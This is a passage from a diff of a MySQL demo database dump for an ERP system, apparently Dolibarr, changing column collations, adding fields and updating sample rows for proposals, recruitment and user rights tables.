ULL,'EUR',1.00000000,1.00000000,0.06000000,1.06000000),(126,22,NULL,NULL,NULL,'a',NULL,5.500,'bbb',0.000,'0',0.000,'0',1,0,0,NULL,1.00000000,1.00000000,0.06000000,0.00000000,0.00000000,1.06000000,1,NULL,NULL,0,NULL,0.00000000,0,8,NULL,NULL,'EUR',1.00000000,1.00000000,0.06000000,1.06000000),(127,39,NULL,NULL,NULL,'aaa',NULL,0.000,'CGST+SGST',9.000,'1',9.000,'1',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.90000000,0.90000000,11.80000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,1,'EUR',10.00000000,10.00000000,0.00000000,11.80000000),(128,39,NULL,NULL,NULL,'mmm',NULL,18.000,'IGST',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,1.80000000,0.00000000,0.00000000,11.80000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,1,'EUR',10.00000000,10.00000000,1.80000000,11.80000000),(129,39,NULL,NULL,NULL,'aaa',NULL,18.000,'IGST',0.000,'0',0.000,'0',1,0,0,0,10.16949000,10.17000000,1.83000000,0.00000000,0.00000000,12.00000000,1,NULL,NULL,0,NULL,0.00000000,0,3,NULL,1,'EUR',10.16949000,10.17000000,1.83000000,12.00000000),(130,39,NULL,NULL,NULL,'hhhh',NULL,0.000,'CGST+SGST',9.000,'1',9.000,'1',1,0,0,0,11.80000000,11.80000000,0.00000000,1.06000000,1.06000000,13.92000000,1,NULL,NULL,0,NULL,0.00000000,0,4,NULL,1,'EUR',11.80000000,11.80000000,0.00000000,13.92000000); /*!40000 ALTER TABLE `llx_propaldet` ENABLE KEYS */; UNLOCK TABLES; @@ -11607,7 +10816,7 @@ CREATE TABLE `llx_propaldet_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_propaldet_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -11632,13 +10841,13 @@ DROP TABLE IF EXISTS `llx_reception`; CREATE TABLE `llx_reception` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(30) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `fk_soc` int(11) NOT NULL, `fk_projet` int(11) DEFAULT NULL, - `ref_ext` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_int` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_supplier` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(30) DEFAULT NULL, + `ref_int` varchar(30) DEFAULT NULL, + `ref_supplier` varchar(128) DEFAULT NULL, `date_creation` datetime DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, @@ -11647,7 +10856,7 @@ CREATE TABLE `llx_reception` ( `date_delivery` datetime DEFAULT NULL, `date_reception` datetime DEFAULT NULL, `fk_shipping_method` int(11) DEFAULT NULL, - `tracking_number` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `tracking_number` varchar(50) DEFAULT NULL, `fk_statut` smallint(6) DEFAULT 0, `billed` smallint(6) DEFAULT 0, `height` float DEFAULT NULL, @@ -11656,13 +10865,13 @@ CREATE TABLE `llx_reception` ( `size` float DEFAULT NULL, `weight_units` int(11) DEFAULT NULL, `weight` float DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `fk_incoterms` int(11) DEFAULT NULL, - `location_incoterms` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `location_incoterms` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `idx_reception_uk_ref` (`ref`,`entity`), KEY `idx_reception_fk_soc` (`fk_soc`), @@ -11697,7 +10906,7 @@ CREATE TABLE `llx_reception_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_reception_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -11722,25 +10931,26 @@ DROP TABLE IF EXISTS `llx_recruitment_recruitmentcandidature`; CREATE TABLE `llx_recruitment_recruitmentcandidature` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_recruitmentjobposition` int(11) DEFAULT NULL, - `ref` varchar(128) CHARACTER SET utf8mb4 NOT NULL DEFAULT '(PROV)', - `description` text CHARACTER SET utf8mb4 DEFAULT NULL, - `note_public` text CHARACTER SET utf8mb4 DEFAULT NULL, - `note_private` text CHARACTER SET utf8mb4 DEFAULT NULL, + `ref` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT '(PROV)', + `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `note_public` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `note_private` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `import_key` varchar(14) CHARACTER SET utf8mb4 DEFAULT NULL, - `model_pdf` varchar(255) CHARACTER SET utf8mb4 DEFAULT NULL, + `import_key` varchar(14) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `model_pdf` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, `status` smallint(6) NOT NULL, - `firstname` varchar(128) CHARACTER SET utf8mb4 DEFAULT NULL, - `lastname` varchar(128) CHARACTER SET utf8mb4 DEFAULT NULL, - `email` varchar(255) CHARACTER SET utf8mb4 DEFAULT NULL, - `phone` varchar(64) CHARACTER SET utf8mb4 DEFAULT NULL, + `firstname` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `lastname` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `email` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `phone` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, `remuneration_requested` int(11) DEFAULT NULL, `remuneration_proposed` int(11) DEFAULT NULL, `fk_recruitment_origin` int(11) DEFAULT NULL, - `email_msgid` varchar(175) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `email_msgid` varchar(175) DEFAULT NULL, + `email_date` datetime DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, `date_birth` date DEFAULT NULL, PRIMARY KEY (`rowid`), @@ -11759,7 +10969,7 @@ CREATE TABLE `llx_recruitment_recruitmentcandidature` ( LOCK TABLES `llx_recruitment_recruitmentcandidature` WRITE; /*!40000 ALTER TABLE `llx_recruitment_recruitmentcandidature` DISABLE KEYS */; -INSERT INTO `llx_recruitment_recruitmentcandidature` VALUES (118,3,'(PROV118)','',NULL,NULL,'2021-04-15 07:28:32','2021-04-15 10:28:32',12,NULL,NULL,NULL,0,'Stud','Studson','student1@myschool.com','',20000,NULL,NULL,NULL,1,'2005-04-15'),(119,4,'(PROV119)','',NULL,NULL,'2021-04-15 07:29:26','2021-04-15 10:29:26',12,NULL,NULL,NULL,3,'Garfield','Erika','egarfield@example.com','',40000,NULL,NULL,NULL,1,'1990-04-15'); +INSERT INTO `llx_recruitment_recruitmentcandidature` VALUES (118,3,'(PROV118)','',NULL,NULL,'2021-04-15 07:28:32','2021-04-15 10:28:32',12,NULL,NULL,NULL,0,'Stud','Studson','student1@myschool.com','',20000,NULL,NULL,NULL,NULL,1,'2005-04-15'),(119,4,'(PROV119)','',NULL,NULL,'2021-04-15 07:29:26','2021-04-15 10:29:26',12,NULL,NULL,NULL,3,'Garfield','Erika','egarfield@example.com','',40000,NULL,NULL,NULL,NULL,1,'1990-04-15'); /*!40000 ALTER TABLE `llx_recruitment_recruitmentcandidature` ENABLE KEYS */; UNLOCK TABLES; @@ -11774,8 +10984,8 @@ CREATE TABLE `llx_recruitment_recruitmentcandidature_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) CHARACTER SET utf8mb4 DEFAULT NULL, - `aa` varchar(255) CHARACTER SET utf8mb4 DEFAULT NULL, + `import_key` varchar(14) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `aa` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_fk_object` (`fk_object`), KEY `idx_recruitmentcandidature_fk_object` (`fk_object`) @@ -11801,8 +11011,8 @@ DROP TABLE IF EXISTS `llx_recruitment_recruitmentjobposition`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_recruitment_recruitmentjobposition` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(128) CHARACTER SET utf8mb4 NOT NULL DEFAULT '(PROV)', - `label` varchar(255) CHARACTER SET utf8mb4 NOT NULL, + `ref` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT '(PROV)', + `label` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, `qty` int(11) NOT NULL DEFAULT 1, `fk_soc` int(11) DEFAULT NULL, `fk_project` int(11) DEFAULT NULL, @@ -11810,21 +11020,21 @@ CREATE TABLE `llx_recruitment_recruitmentjobposition` ( `fk_user_supervisor` int(11) DEFAULT NULL, `fk_establishment` int(11) DEFAULT NULL, `date_planned` date DEFAULT NULL, - `description` text CHARACTER SET utf8mb4 DEFAULT NULL, - `note_public` text CHARACTER SET utf8mb4 DEFAULT NULL, - `note_private` text CHARACTER SET utf8mb4 DEFAULT NULL, + `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `note_public` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `note_private` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `import_key` varchar(14) CHARACTER SET utf8mb4 DEFAULT NULL, - `model_pdf` varchar(255) CHARACTER SET utf8mb4 DEFAULT NULL, + `import_key` varchar(14) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `model_pdf` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, `status` smallint(6) NOT NULL, - `last_main_doc` varchar(255) CHARACTER SET utf8mb4 DEFAULT NULL, - `email_recruiter` varchar(255) CHARACTER SET utf8mb4 DEFAULT NULL, + `last_main_doc` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `email_recruiter` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `remuneration` varchar(255) CHARACTER SET utf8mb4 DEFAULT NULL, - `remuneration_suggested` varchar(255) CHARACTER SET utf8mb4 DEFAULT NULL, + `remuneration` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `remuneration_suggested` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_recruitment_recruitmentjobposition_rowid` (`rowid`), KEY `idx_recruitment_recruitmentjobposition_ref` (`ref`), @@ -11848,7 +11058,7 @@ CREATE TABLE `llx_recruitment_recruitmentjobposition` ( LOCK TABLES `llx_recruitment_recruitmentjobposition` WRITE; /*!40000 ALTER TABLE `llx_recruitment_recruitmentjobposition` DISABLE KEYS */; -INSERT INTO `llx_recruitment_recruitmentjobposition` VALUES (2,'JOB2008-0001','Web designer',1,NULL,NULL,12,NULL,9,NULL,'Knowing HTML + CSS',NULL,'','2020-08-06 13:25:00','2020-09-02 17:17:47',12,12,NULL,'standard_recruitmentjobposition',3,'recruitment/recruitmentjobposition/JOB2008-0001/JOB2008-0001.pdf','',1,NULL,'To negociate'),(3,'JOB2009-0002','PHP Developer Senior',1,NULL,NULL,12,NULL,NULL,NULL,'5 years of experience required
\r\n
\r\nLocation: Berlin
\r\n ',NULL,'','2020-09-02 17:23:00','2020-11-03 13:55:00',12,12,NULL,NULL,1,'recruitment/recruitmentjobposition/JOB2009-0002/JOB2009-0002.pdf','',1,NULL,'40000 - 50000'),(4,'JOB2009-0003','PHP Developer Junior',1,NULL,NULL,12,NULL,NULL,NULL,'Location: Madrid
\r\nWe are looking for a curious developer to work in our Web division.',NULL,NULL,'2020-11-11 17:24:00','2020-11-03 13:58:06',12,12,NULL,NULL,1,'recruitment/recruitmentjobposition/JOB2009-0003/JOB2009-0003.pdf','4444',1,NULL,''); +INSERT INTO `llx_recruitment_recruitmentjobposition` VALUES (2,'JOB2008-0001','Web designer',1,NULL,NULL,12,NULL,9,NULL,'Knowing HTML + CSS',NULL,'','2020-08-06 13:25:00','2020-09-02 17:17:47',12,12,NULL,'standard_recruitmentjobposition',3,'recruitment/recruitmentjobposition/JOB2008-0001/JOB2008-0001.pdf','',1,NULL,'To negociate'),(3,'JOB2009-0002','PHP Developer Senior',1,NULL,NULL,12,NULL,NULL,NULL,'5 years of experience required
\r\n
\r\nLocation: Berlin
\r\n ',NULL,'','2020-09-02 17:23:00','2023-01-10 21:14:30',12,12,NULL,NULL,1,'recruitment/recruitmentjobposition/JOB2009-0002/JOB2009-0002.pdf','',1,NULL,'40000 - 50000'),(4,'JOB2009-0003','PHP Developer Junior',1,NULL,NULL,12,NULL,NULL,NULL,'Location: Madrid
\r\nWe are looking for a curious developer to work in our Web division.',NULL,NULL,'2020-11-11 17:24:00','2020-11-03 13:58:06',12,12,NULL,NULL,1,'recruitment/recruitmentjobposition/JOB2009-0003/JOB2009-0003.pdf','4444',1,NULL,''); /*!40000 ALTER TABLE `llx_recruitment_recruitmentjobposition` ENABLE KEYS */; UNLOCK TABLES; @@ -11863,7 +11073,7 @@ CREATE TABLE `llx_recruitment_recruitmentjobposition_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) CHARACTER SET utf8mb4 DEFAULT NULL, + `import_key` varchar(14) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, `bbb` double(24,8) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_fk_object` (`fk_object`), @@ -11891,12 +11101,12 @@ DROP TABLE IF EXISTS `llx_resource`; CREATE TABLE `llx_resource` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `ref` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `asset_number` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fk_code_type_resource` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(255) DEFAULT NULL, + `asset_number` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, + `fk_code_type_resource` varchar(32) DEFAULT NULL, + `note_public` text DEFAULT NULL, + `note_private` text DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `datec` datetime DEFAULT NULL, `date_valid` datetime DEFAULT NULL, @@ -11904,8 +11114,8 @@ CREATE TABLE `llx_resource` ( `fk_user_modif` int(11) DEFAULT NULL, `fk_user_valid` int(11) DEFAULT NULL, `fk_statut` smallint(6) NOT NULL DEFAULT 0, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `fk_country` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_resource_ref` (`ref`,`entity`), @@ -11936,7 +11146,7 @@ CREATE TABLE `llx_resource_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_resource_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -11960,15 +11170,16 @@ DROP TABLE IF EXISTS `llx_rights_def`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_rights_def` ( `id` int(11) NOT NULL DEFAULT 0, - `libelle` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `module` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `libelle` varchar(255) DEFAULT NULL, + `module` varchar(64) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `perms` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `subperms` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `type` varchar(1) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `perms` varchar(50) DEFAULT NULL, + `subperms` varchar(50) DEFAULT NULL, + `type` varchar(1) DEFAULT NULL, `bydefault` tinyint(4) DEFAULT 0, `module_position` int(11) NOT NULL DEFAULT 0, `family_position` int(11) NOT NULL DEFAULT 0, + `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`id`,`entity`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -11979,7 +11190,7 @@ CREATE TABLE `llx_rights_def` ( LOCK TABLES `llx_rights_def` WRITE; /*!40000 ALTER TABLE `llx_rights_def` DISABLE KEYS */; -INSERT INTO `llx_rights_def` VALUES (11,'Read invoices','facture',1,'lire',NULL,'a',0,0,0),(11,'Lire les factures','facture',2,'lire',NULL,'a',1,10,0),(12,'Create and update invoices','facture',1,'creer',NULL,'a',0,0,0),(12,'Creer/modifier les factures','facture',2,'creer',NULL,'a',0,10,0),(13,'Devalidate invoices','facture',1,'invoice_advance','unvalidate','a',0,0,0),(13,'Dévalider les factures','facture',2,'invoice_advance','unvalidate','a',0,10,0),(14,'Validate invoices','facture',1,'invoice_advance','validate','a',0,0,0),(14,'Valider les factures','facture',2,'valider',NULL,'a',0,10,0),(15,'Send invoices by email','facture',1,'invoice_advance','send','a',0,0,0),(15,'Envoyer les factures par mail','facture',2,'invoice_advance','send','a',0,10,0),(16,'Issue payments on invoices','facture',1,'paiement',NULL,'a',0,0,0),(16,'Emettre des paiements sur les factures','facture',2,'paiement',NULL,'a',0,10,0),(19,'Delete invoices','facture',1,'supprimer',NULL,'a',0,0,0),(19,'Supprimer les factures','facture',2,'supprimer',NULL,'a',0,10,0),(21,'Lire les propositions commerciales','propale',1,'lire',NULL,'r',1,22,0),(21,'Lire les propositions commerciales','propale',2,'lire',NULL,'r',1,22,0),(22,'Creer/modifier les propositions commerciales','propale',1,'creer',NULL,'w',0,22,0),(22,'Creer/modifier les propositions commerciales','propale',2,'creer',NULL,'w',0,22,0),(24,'Valider les propositions commerciales','propale',1,'propal_advance','validate','d',0,22,0),(24,'Valider les propositions commerciales','propale',2,'valider',NULL,'d',0,22,0),(25,'Envoyer les propositions commerciales aux clients','propale',1,'propal_advance','send','d',0,22,0),(25,'Envoyer les propositions commerciales aux clients','propale',2,'propal_advance','send','d',0,22,0),(26,'Cloturer les propositions commerciales','propale',1,'propal_advance','close','d',0,22,0),(26,'Cloturer les propositions commerciales','propale',2,'propal_advance','close','d',0,22,0),(27,'Supprimer les propositions commerciales','propale',1,'supprimer',NULL,'d',0,22,0),(27,'Supprimer les propositions commerciales','propale',2,'supprimer',NULL,'d',0,22,0),(28,'Exporter les propositions commerciales et attributs','propale',1,'export',NULL,'r',0,22,0),(28,'Exporter les propositions commerciales et attributs','propale',2,'export',NULL,'r',0,22,0),(31,'Lire les produits','produit',1,'lire',NULL,'r',1,25,0),(31,'Lire les produits','produit',2,'lire',NULL,'r',1,25,0),(32,'Creer/modifier les produits','produit',1,'creer',NULL,'w',0,25,0),(32,'Creer/modifier les produits','produit',2,'creer',NULL,'w',0,25,0),(34,'Supprimer les produits','produit',1,'supprimer',NULL,'d',0,25,0),(34,'Supprimer les produits','produit',2,'supprimer',NULL,'d',0,25,0),(38,'Exporter les produits','produit',1,'export',NULL,'r',0,25,0),(38,'Exporter les produits','produit',2,'export',NULL,'r',0,25,0),(39,'Ignore minimum price','produit',1,'ignore_price_min_advance',NULL,'r',0,25,0),(41,'Read projects and tasks (shared projects or projects I am contact for). Can also enter time consumed on assigned tasks (timesheet)','projet',1,'lire',NULL,'r',1,14,0),(42,'Create/modify projects and tasks (shared projects or projects I am contact for)','projet',1,'creer',NULL,'w',0,14,0),(44,'Delete project and tasks (shared projects or projects I am contact for)','projet',1,'supprimer',NULL,'d',0,14,0),(45,'Export projects','projet',1,'export',NULL,'d',0,14,0),(61,'Lire les fiches d\'intervention','ficheinter',1,'lire',NULL,'r',1,41,0),(62,'Creer/modifier les fiches d\'intervention','ficheinter',1,'creer',NULL,'w',0,41,0),(64,'Supprimer les fiches d\'intervention','ficheinter',1,'supprimer',NULL,'d',0,41,0),(67,'Exporter les fiches interventions','ficheinter',1,'export',NULL,'r',0,41,0),(68,'Envoyer les fiches d\'intervention par courriel','ficheinter',1,'ficheinter_advance','send','r',0,41,0),(69,'Valider les fiches d\'intervention ','ficheinter',1,'ficheinter_advance','validate','a',0,41,0),(70,'Dévalider les fiches d\'intervention','ficheinter',1,'ficheinter_advance','unvalidate','a',0,41,0),(71,'Read members\' card','adherent',1,'lire',NULL,'r',0,55,0),(72,'Create/modify members (need also user module permissions if member linked to a user)','adherent',1,'creer',NULL,'w',0,55,0),(74,'Remove members','adherent',1,'supprimer',NULL,'d',0,55,0),(75,'Setup types of membership','adherent',1,'configurer',NULL,'w',0,55,0),(76,'Export members','adherent',1,'export',NULL,'r',0,55,0),(78,'Read subscriptions','adherent',1,'cotisation','lire','r',0,55,0),(79,'Create/modify/remove subscriptions','adherent',1,'cotisation','creer','w',0,55,0),(81,'Read sales orders','commande',1,'lire',NULL,'r',0,0,0),(82,'Creeat/modify sales orders','commande',1,'creer',NULL,'w',0,0,0),(84,'Validate sales orders','commande',1,'order_advance','validate','d',0,0,0),(86,'Send sale orders by email','commande',1,'order_advance','send','d',0,0,0),(87,'Close sale orders','commande',1,'order_advance','close','d',0,0,0),(88,'Cancel sale orders','commande',1,'order_advance','annuler','d',0,0,0),(89,'Delete sales orders','commande',1,'supprimer',NULL,'d',0,0,0),(91,'Lire les charges','tax',1,'charges','lire','r',0,50,0),(91,'Lire les charges','tax',2,'charges','lire','r',1,50,0),(92,'Creer/modifier les charges','tax',1,'charges','creer','w',0,50,0),(92,'Creer/modifier les charges','tax',2,'charges','creer','w',0,50,0),(93,'Supprimer les charges','tax',1,'charges','supprimer','d',0,50,0),(93,'Supprimer les charges','tax',2,'charges','supprimer','d',0,50,0),(94,'Exporter les charges','tax',1,'charges','export','r',0,50,0),(94,'Exporter les charges','tax',2,'charges','export','r',0,50,0),(101,'Lire les expeditions','expedition',1,'lire',NULL,'r',0,40,0),(102,'Creer modifier les expeditions','expedition',1,'creer',NULL,'w',0,40,0),(104,'Valider les expeditions','expedition',1,'shipping_advance','validate','d',0,40,0),(105,'Envoyer les expeditions aux clients','expedition',1,'shipping_advance','send','d',0,40,0),(106,'Exporter les expeditions','expedition',1,'shipment','export','r',0,40,0),(109,'Supprimer les expeditions','expedition',1,'supprimer',NULL,'d',0,40,0),(111,'Read bank account and transactions','banque',1,'lire',NULL,'r',0,0,0),(111,'Lire les comptes bancaires','banque',2,'lire',NULL,'r',1,51,0),(112,'Creer/modifier montant/supprimer ecriture bancaire','banque',1,'modifier',NULL,'w',0,0,0),(112,'Creer/modifier montant/supprimer ecriture bancaire','banque',2,'modifier',NULL,'w',0,51,0),(113,'Configurer les comptes bancaires (creer, gerer categories)','banque',1,'configurer',NULL,'a',0,0,0),(113,'Configurer les comptes bancaires (creer, gerer categories)','banque',2,'configurer',NULL,'a',0,51,0),(114,'Rapprocher les ecritures bancaires','banque',1,'consolidate',NULL,'w',0,0,0),(114,'Rapprocher les ecritures bancaires','banque',2,'consolidate',NULL,'w',0,51,0),(115,'Exporter transactions et releves','banque',1,'export',NULL,'r',0,0,0),(115,'Exporter transactions et releves','banque',2,'export',NULL,'r',0,51,0),(116,'Virements entre comptes','banque',1,'transfer',NULL,'w',0,0,0),(116,'Virements entre comptes','banque',2,'transfer',NULL,'w',0,51,0),(117,'Gerer les envois de cheques','banque',1,'cheque',NULL,'w',0,0,0),(117,'Gerer les envois de cheques','banque',2,'cheque',NULL,'w',0,51,0),(121,'Read third parties','societe',1,'lire',NULL,'r',0,0,0),(121,'Lire les societes','societe',2,'lire',NULL,'r',1,9,0),(122,'Create and update third parties','societe',1,'creer',NULL,'w',0,0,0),(122,'Creer modifier les societes','societe',2,'creer',NULL,'w',0,9,0),(125,'Delete third parties','societe',1,'supprimer',NULL,'d',0,0,0),(125,'Supprimer les societes','societe',2,'supprimer',NULL,'d',0,9,0),(126,'Export third parties','societe',1,'export',NULL,'r',0,0,0),(126,'Exporter les societes','societe',2,'export',NULL,'r',0,9,0),(130,'Modify thirdparty information payment','societe',1,'thirdparty_paymentinformation_advance','write','w',0,0,0),(141,'Read all projects and tasks (also private projects I am not contact for)','projet',1,'all','lire','r',0,14,0),(142,'Create/modify all projects and tasks (also private projects I am not contact for)','projet',1,'all','creer','w',0,14,0),(144,'Delete all projects and tasks (also private projects I am not contact for)','projet',1,'all','supprimer','d',0,14,0),(151,'Read withdrawals','prelevement',1,'bons','lire','r',1,52,0),(152,'Create/modify a withdrawals','prelevement',1,'bons','creer','w',0,52,0),(153,'Send withdrawals to bank','prelevement',1,'bons','send','a',0,52,0),(154,'credit/refuse withdrawals','prelevement',1,'bons','credit','a',0,52,0),(161,'Lire les contrats','contrat',1,'lire',NULL,'r',1,35,0),(162,'Creer / modifier les contrats','contrat',1,'creer',NULL,'w',0,35,0),(163,'Activer un service d\'un contrat','contrat',1,'activer',NULL,'w',0,35,0),(164,'Desactiver un service d\'un contrat','contrat',1,'desactiver',NULL,'w',0,35,0),(165,'Supprimer un contrat','contrat',1,'supprimer',NULL,'d',0,35,0),(167,'Export contracts','contrat',1,'export',NULL,'r',0,35,0),(221,'Consulter les mailings','mailing',1,'lire',NULL,'r',1,11,0),(221,'Consulter les mailings','mailing',2,'lire',NULL,'r',1,11,0),(222,'Creer/modifier les mailings (sujet, destinataires...)','mailing',1,'creer',NULL,'w',0,11,0),(222,'Creer/modifier les mailings (sujet, destinataires...)','mailing',2,'creer',NULL,'w',0,11,0),(223,'Valider les mailings (permet leur envoi)','mailing',1,'valider',NULL,'w',0,11,0),(223,'Valider les mailings (permet leur envoi)','mailing',2,'valider',NULL,'w',0,11,0),(229,'Supprimer les mailings','mailing',1,'supprimer',NULL,'d',0,11,0),(229,'Supprimer les mailings','mailing',2,'supprimer',NULL,'d',0,11,0),(237,'View recipients and info','mailing',1,'mailing_advance','recipient','r',0,11,0),(237,'View recipients and info','mailing',2,'mailing_advance','recipient','r',0,11,0),(238,'Manually send mailings','mailing',1,'mailing_advance','send','w',0,11,0),(238,'Manually send mailings','mailing',2,'mailing_advance','send','w',0,11,0),(239,'Delete mailings after validation and/or sent','mailing',1,'mailing_advance','delete','d',0,11,0),(239,'Delete mailings after validation and/or sent','mailing',2,'mailing_advance','delete','d',0,11,0),(241,'Lire les 